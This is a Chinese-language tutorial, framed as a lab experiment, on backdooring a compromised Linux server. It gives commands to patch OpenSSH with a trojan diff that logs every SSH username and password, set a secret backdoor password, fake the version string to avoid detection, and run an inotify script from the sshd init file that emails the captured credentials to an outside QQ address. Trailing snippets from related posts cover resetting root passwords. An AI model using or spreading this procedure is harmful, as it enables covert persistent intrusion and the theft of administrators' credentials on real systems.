自动劫持root密码并转发密码到邮箱

自动劫持root密码并转发密码到邮箱

一:实验内容

自动劫持root密码并转发密码到邮箱

 

二:劫持root密码的过程:

过程1:如上图所示。黑客登录到sshd服务系统之后会用木马补丁文件将原来的sshd服务替换掉,并且留下后门密码,此后门密码还可以直接登录系统。

过程2:网络管理员登录到系统之后,所登录的路径已经不是原来真实安全的路径了,是由黑客替换掉的sshd服务和路径。在此登录之后,管理员修改账号密码或者其他操作都会被记录下来,自动发给黑客指定的邮箱。

过程3:有的时候时候网络管理员登录到sshd服务之后还会在此服务器下进行远程登录到其他服务器。在此后门文件中不仅仅会将网络管理员的账号密码给记录下来还会将管理员远程到其他服务器的张慧密码也给记录下来,这样就可以完成一箭双雕的意图了。

三:实验步骤

分析:想要劫持到root密码,那么首先就要可以登录到目标服务器上,就用到了之前暴力破解的方法了,获取其root密码,登录之后,进行偷梁换柱,留下后门。此服务器的管理员登录系统,所登录的进程是你所留下的后门进程。再此,管理员如果跟换密码,后门就会将跟换的密码以邮件的方式发给你。

 

上传0x06-openssh-5.9p1.patch.tar.gz和openssh-5.9p1.tar.gz 到/tmp目录

0x06-openssh-5.9p1.patch.tar.gz #就是木马文件

openssh-5.9p1.tar.gz #是sshd服务的真实服务

------------------------------------------------------------------

查看ssh gcc 服务的版本与安装软件

1:查看版本

[[email protected]yu63 tmp]# ssh -v #查看安装前ssh版本

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

[[email protected]yu63 tmp]# gcc -v #确认安装gcc

gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)

分析:黑客在黑掉服务器之后,肯定是想要长久让此服务器成为他的“肉鸡”,因此就要做到隐蔽性,任何可能不不能给管理员发现,所以黑客登录系统之后会此案查看此服务器的版本与自己的木马服务器的版本是否想符合,不符合就要修改木马文件。

 

2:解压文件

[[email protected]yu63 tmp]# tar zxvf openssh-5.9p1.tar.gz

[[email protected]yu63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

 

分析:openssh-5.9p1 是真实的sshd服务解压文件,openssh-5.9p1.patch 是sshd服务的补丁文件,此文件中包含木马文件,实验的思路就是将openssh-5.9p1.patch补丁木马文件替换openssh-5.9p1真实服务。

 

------------------------------------------------------------------

替换openssh-5.9p1

1)安装openssh-5.9p1并打补丁:

[[email protected]yu63 tmp]# cd openssh-5.9p1.patch/ #进入到木马文件

[[email protected]yu63 openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1  #将木马补丁文件放进真实文件中[[email protected]yu63 openssh-5.9p1.patch]# cd ../openssh-5.9p1 #进入到真实文件中

[[email protected]yu63 openssh-5.9p1]# patch < sshbd5.9p1.diff #将拷贝过来的木马补丁文件进行执行,打补丁,

打补丁就是修改者替换原来的文件

patching file auth.c #认证  ---会将认证内容替换掉

patching file auth-pam.c #认证  ---会将认证内容替换掉

patching file auth-passwd.c #认证  ---会将认证内容替换掉

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c #关于sshd服务端  替换掉

patching file sshconnect2.c #关于sshd连接  替换掉

patching file sshlogin.c #关于登录,把root密码记录下来这里就是后门

patching file version.h #关于版本 替换版本信息

 

2)修改后门密码和记录root密码的文件夹目录

[[email protected]yu63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h

找到:

#define ILOG "/tmp/ilog" //劫持并记录登录到本机的用户名和密码

#define OLOG "/tmp/olog" //劫持并记录从本机登录到其他服务器上的用户名和密码

#define SECRETPW "apaajaboleh" //你后门密码

为:

#define ILOG "/usr/share/ifile"

#define OLOG "/usr/share/ofile"

#define SECRETPW "genal"

分析:后门密码指的是你留下的一个登录密码,即使管理员将登录密码修改了,你依然可以用后门密码来登录系统。

------------------------------------------------------------------

说明: 修改版本号

安装后的版本为:

[[email protected]yu63 ~]# ssh -v

OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010

原来系统的版本:

[[email protected]yu63 ~]# ssh -v

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

为了使用安后的版本和原系统的版本一样,修改版本号:

[[email protected]yu63 ~]# vim /tmp/openssh-5.9p1/version.h

改:

3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"

5 #define SSH_PORTABLE "p1"

为:

#define SSH_VERSION " OpenSSH_5.3"

#define SSH_PORTABLE "p1"

------------------------------------------------------------------

对替换掉过来的木马软件进行安装

 

1:)安装环境:

[[email protected]yu63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel

 

2)开始安装:

[[email protected]yu63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 查看编译环境

--prefix=/usr #指定安装到/usr 目录下

--sysconfdir=/etc/ssh #指定sshd服务配置文件目录

--with-pam #指定支持pam认证

--with-kerberos5 #指定支持kerberos认证

 

3)编译安装后门:

[[email protected]yu63 openssh-5.9p1]# make -j 4 #编译

[[email protected]yu63 openssh-5.9p1]# make install #安装

/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh #将之前的ssh命令换掉

/usr/bin/install -c -m 0755 -s scp /usr/bin/scp #将之前的scp命令换掉

........

rm -f /usr/bin/slogin #删除了之前的log

ln -s ./ssh /usr/bin/slogin

rm -f /usr/share/man/man1/slogin.1

ln -s ./ssh.1 /usr/share/man/man1/slogin.1

/etc/ssh/ssh_config already exists, install will not overwrite #对于之前的配置文件不进行改变

/etc/ssh/sshd_config already exists, install will not overwrite  #对于之前的配置文件不进行改变

........

 

4)重启ssh:

[[email protected]yu63 openssh-5.9p1]# service sshd restart

 

注:这里用木马文件中的sshd相关文件替换掉sshd的真实服务。

------------------------------------------------------------------

测试

 

测试1:远程连接

 

1)测试前,先查看一下:/usr/share/ifile

[[email protected]yu63 ~]# ls /usr/share/ifile

ls: cannot access /usr/share/ifile: No such file or directory #在没有远程登录系统的时候是没有记录的

 

 

2)使用yu64客户端远程登录yu63

 

3)再次查看:

 

 

测试2:修改root密码:

1)修改root密码

[email protected]yu63 ~]# passwd

Changing password for user root.

New password: 456789

 

2)远程连接yu63

 

2)查看

 

 

测试3:当忘记劫持到的密码时,使用后门密码来登录系统

另外我们也可以使用后门密码来登录root帐号:

查看:

[[email protected]yu63 tmp]# cat /tmp/ofile 

user:[email protected] --> root: genal@192.168.1.63

 

------------------------------------------------------------------

自动发送邮件:这里以QQ的smtp服务器为例

分析:黑客为了时刻掌握“肉鸡”账户密码信息,会在这里编写一个邮件配置,会将记录的信息自动发发给黑客指定的邮件账户中,这样即使管理员修改掉密码或者账户信息,黑客都会即使的收到管理员所修改的账户和密码信息。

 

1)Linux下通过外部SMTP发邮件

[[email protected]yu63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:

set from=1273815479@qq.com smtp=smtp.qq.com

set smtp-auth-user=1273815479 smtp-auth-password=******** smtp-auth=login

注:

set from=1273815479@qq.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。

set smtp-auth-user=1273815479 #写自己发件人的邮箱帐号

smtp-auth-password=********#写自己发件人的邮箱密码

 

2)配置QQ邮箱,开启pop3/smtp服务

测试:

[[email protected]yu63 ~]# mail -s "demo title" [email protected] < /usr/share/ifile

#将劫持的文件发到我的邮箱中

 

------------------------------------------------------------------

实现自动将劫持密码发送到邮箱

 

 

1)安装inotify:

[[email protected]yu63 ~]# tar -zxvf inotify-tools-3.13.tar.gz

[[email protected]yu63 ~]# cd inotify-tools-3.13

[[email protected]yu63 inotify-tools-3.13]# ./configure检查安装环境

[[email protected]yu63 inotify-tools-3.13]# make -j 4#make编译,将源代码编译成二进制,可执行的文件

[[email protected]yu63 inotify-tools-3.13]# make install  # 安装

 

2)编写触发式自动发邮件脚本

[[email protected]yu63 ~]# cat /bin/zipmail

#!/bin/bash

/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile | while read a b c

do

ip=`ifconfig |grep inet| sed -n ‘1p‘|awk ‘{print $2}‘|awk -F ‘:‘ ‘{print $2}‘`

mail -s $ip 3544884942@qq.com < /usr/share/ifile

done

 

3)设置开机启动zipmail脚本: 

[[email protected]yu63 ~]# vim /etc/init.d/sshd #在此文件的最后“exit $RETVAL” 前插入:

/bin/zipmail &

exit $RETVAL

[[email protected]yu63 ~]# echo aaaaa  < /usr/share/ifile

 

测试:

[[email protected]yu63 ~]# service sshd restart 

时间: 2024-10-08 08:34:13

自动劫持root密码并转发密码到邮箱的相关文章

linux单用户模式修改root密码和grub密码设定

linux管理员在接管新服务器的时候,有一个常见的问题就是root密码的重置.如root密码长时间不用,或者接管一个陌生的服务器,需要用到单用户模式来重置root的密码. 以下内容是虚拟机VMware11下的centos 6.6版本的介绍: 一.单用户模式修改root密码: 1. 开机显示3s内按任意键,进入选择模式,随便按一个键: 2. 根据提示,点字母e进入编辑模式. 3. 光标选中第二项,再点字母e. 4. 进入编辑模式,在最后面加空格,输入1 .s .S都可以,然后点击回车.再根据后续的

Linux中Root用户密码变更、密码忘记

用户设置bash的时候,错把root的bash改为bin/bash,注意,不是“/bin/bash”!. 然后就登录不了root了,也修改不了/etc/passwd了. 解决: 1.重启Ubuntu,随即长按shift进入grub菜单: 2.选择recovery mode,即Ubuntu,With Linux 3.2.0-23-generic(recovery mode),按e,编辑启动参数: 3.把ro recovery nomodeset 改成rw single init=/bin/bash

yum安装mysql后root用户的临时密码

1.查看root用户临时随机密码 yum 安装mysql后,无法通过空密码登录数据库,如下: 1 [[email protected]123 mysql]# mysql -u root -p 2 Enter password: 3 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO) 查找后,原来为了增加数据库的安全性,在安装时会为root用户生成一个临时的随机密码,存放在/var/l

linux red had 设置 root开机密码和菜单密码

1.设置开机密码的配置文件在/etc/grup.conf root#vim /etc/grup.conf 1.#开机密码我们在15行之后加入一行开机的时候跳过5.4.3.2.1的时候提示输入密码. 2.菜单密码就是你开机的时候提示5.4.3.2.1然后你按"e"没反应,需要按"p"输入密码才可以进入菜单,当然我们知道在菜单模式可以更改密码,当我给设置密码后,别人就进不去了. linux red had 设置 root开机密码和菜单密码

mac忘记root密码,修改密码

能登陆系统,但是忘记了root密码,修改root密码如下: sudo bashpassword:输入你的当前用户密码bash-3.2# ok done!其实没啥,因为登陆当前用户默认在系统sudoers的list里. password root 输入新的密码

wamp下修改mysql root用户的登录密码

1.安装好wamp后,运行WampServer程序,进入MYSQL控制台; 2.进入控制台后,提示输入密码(不用输入任何密码,因为密码为空),按回车键进入; 3.输入“USE mysql;”然后回车,意思是选择mysql数据库; 4.输入“update user set password=password(‘这里是密码,如:root’) where user=’root’;”然后回车;返回信息: Query OK, 0 rows affected (0.00 sec) Rows matched:

ubuntu root默认密码(初始密码)

ubuntu安装好后,root初始密码(默认密码)不知道,需要设置. 1.先用安装时候的用户登录进入系统 2.输入:sudo passwd  按回车 3.输入新密码,重复输入密码,最后提示passwd:password updated sucessfully 此时已完成root密码的设置 4.输入:su root ,输入新密码登录 原文地址:https://www.cnblogs.com/peng-lan/p/9604865.html

百万年薪python之路 -- MySQL数据库之 永久修改字符串编码 与 忘了密码和修改密码

永久修改字符集编码的方法: 在mysql安装目录下创建一个my.ini(Windows下)文件,写入下面的配置,然后重启服务端. [client] #设置mysql客户端默认字符集 default-character-set=utf8 [mysql] # 设置mysql客户端默认字符集 default-character-set=utf8 user = 'root' password = '123' [mysqld] #设置3306端口 port = 3306 # 设置mysql的安装目录 ba

mysql忘记密码,如何重置密码

方法,教你两招重置root密码! 1.使用mysqladmin修改mysql密码 C:\>mysqladmin -udbuser -p password newpass Enter password: oldpass 当然用此命令的前提是你把mysql加入了环境变量,如果没有加入环境变量的话那只能在命令行下cd到mysqladmin所在的 目录下与此那个次命令了! 2.重置root密码 方法一: 在my.ini的[mysqld]字段加入: skip-grant-tables 重启mysql服务,